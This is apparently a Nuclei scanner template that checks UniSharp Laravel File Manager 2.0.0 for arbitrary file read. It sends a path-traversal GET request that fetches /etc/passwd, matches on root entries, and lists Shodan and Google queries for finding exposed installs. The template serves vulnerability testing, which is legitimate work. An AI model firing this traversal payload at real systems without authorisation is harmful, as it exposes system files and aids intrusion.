id: laravel-filemanager-lfi

info:
  name: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
  author: hackerarpan
  severity: high
  description: UniSharp Larevel File Manager 2.0.0 is vulnerable to arbitrary file read.
  reference:
    - https://www.exploit-db.com/exploits/48166
    - https://github.com/UniSharp/laravel-filemanager
  metadata:
    max-request: 1
    shodan-query: http.html:"Laravel FileManager"
    google-query: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
  tags: lfr,edb,lfi,unisharp,laravel,filemanager,fileupload,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100bcba7eaebc25fec7c3036591b1f7f8ca84b826b4141de0dbadd2699131513f25022100b8be3803c471f83b32f3e314d8d76f9e661253dc8de82b43617e49741c9cf03c:922c64590222798bb761d5b6d8e72950